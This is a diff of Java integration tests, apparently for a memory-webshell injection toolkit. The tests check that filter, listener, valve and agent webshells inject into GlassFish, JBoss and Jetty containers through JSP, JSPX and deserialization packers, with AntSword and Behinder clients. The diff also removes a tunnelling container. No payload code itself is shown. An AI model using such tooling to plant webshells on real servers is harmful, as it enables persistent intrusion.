 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish510ContainerTest {
     public static final String imageName = "reajason/glassfish:5.1.0";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -72,6 +58,6 @@ public class GlassFish510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish6ContainerTest {
     public static final String imageName = "reajason/glassfish:6.2.6-jdk11";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*deployed.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
     }
@@ -71,6 +57,6 @@ public class GlassFish6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish7ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,18 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class GlassFish7ContainerTest {
     public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(glassfishPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forLogMessage(".*startup time.*", 1))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.GlassFish;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
     }
@@ -71,6 +57,6 @@ public class GlassFish7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss423ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss423ContainerTest {
     public static final String imageName = "reajason/jboss:4-jdk6";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -71,6 +58,6 @@ public class Jboss423ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss510ContainerTest {
     public static final String imageName = "reajason/jboss:5-jdk6";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
                 null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
@@ -74,6 +61,6 @@ public class Jboss510ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,30 +32,19 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss610ContainerTest {
     public static final String imageName = "reajason/jboss:6-jdk7";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -71,6 +58,6 @@ public class Jboss610ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jboss711ContainerTest {
     public static final String imageName = "reajason/jboss:7-jdk7";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -54,12 +46,8 @@ public class Jboss711ContainerTest {
      */
     static Stream<Arguments> casesProvider() {
         Server server = Server.JBossAS;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
-                ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
+                ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
-                ShellType.AGENT_FILTER_CHAIN,
-                ShellType.AGENT_FILTER_CHAIN_ASM,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE,
-                ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -73,6 +61,6 @@ public class Jboss711ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class JbossEap6ContainerTest {
     public static final String imageName = "reajason/jboss:eap-6-jdk8";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -66,6 +58,6 @@ public class JbossEap6ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,18 +32,12 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class JbossEap7ContainerTest {
     public static final String imageName = "reajason/jboss:eap-7-jdk8";
-    static Network network = Network.newNetwork();
+
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public static final GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jbossPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
@@ -65,6 +57,6 @@ public class JbossEap7ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,28 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty10ContainerTest {
     public static final String imageName = "jetty:10-jre11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,
-                ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -69,6 +56,6 @@ public class Jetty10ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,27 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty11ContainerTest {
     public static final String imageName = "jetty:11-jre11";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER);
-                ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
-                ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
                 null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
@@ -70,6 +58,6 @@ public class Jetty11ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java

@@ -12,9 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
 import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
 import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
 import org.testcontainers.junit.jupiter.Container;
 import org.testcontainers.junit.jupiter.Testcontainers;
 
@@ -34,26 +32,17 @@ import static org.hamcrest.MatcherAssert.assertThat;
 @Testcontainers
 public class Jetty61ContainerTest {
     public static final String imageName = "reajason/jetty:6.1-jdk6";
-    static Network network = Network.newNetwork();
-    @Container
-    public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
-            .withDockerfile(neoGeorgDockerfile))
-            .withNetwork(network);
     @Container
     public final static GenericContainer<?> container = new GenericContainer<>(imageName)
             .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
             .withCopyToContainer(jattachFile, "/jattach")
             .withCopyToContainer(jettyPid, "/fetch_pid.sh")
-            .withNetwork(network)
-            .withNetworkAliases("app")
             .waitingFor(Wait.forHttp("/app"))
             .withExposedPorts(8080);
 
     static Stream<Arguments> casesProvider() {
         Server server = Server.Jetty;
-        List<String> supportedShellTypes = List.of(
+        List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER);
-                ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
-        );
         List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
         return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
     }
@@ -68,6 +57,6 @@ public class Jetty61ContainerTest {
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
     void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
-        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
+        testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java

@@ -1,74 +0,0 @@
-package com.reajason.javaweb.integration.jetty;
-
-import com.reajason.javaweb.integration.TestCasesProvider;
-import com.reajason.javaweb.memshell.Packers;
-import com.reajason.javaweb.memshell.Server;
-import com.reajason.javaweb.memshell.ShellTool;
-import com.reajason.javaweb.memshell.ShellType;
-import lombok.extern.slf4j.Slf4j;
-import net.bytebuddy.jar.asm.Opcodes;
-import org.junit.jupiter.api.AfterAll;
-import org.junit.jupiter.params.ParameterizedTest;
-import org.junit.jupiter.params.provider.Arguments;
-import org.junit.jupiter.params.provider.MethodSource;
-import org.testcontainers.containers.GenericContainer;
-import org.testcontainers.containers.Network;
-import org.testcontainers.containers.wait.strategy.Wait;
-import org.testcontainers.images.builder.ImageFromDockerfile;
-import org.testcontainers.junit.jupiter.Container;
-import org.testcontainers.junit.jupiter.Testcontainers;
-
-import java.util.List;
-import java.util.stream.Stream;
-
-import static com.reajason.javaweb.integration.ContainerTool.*;
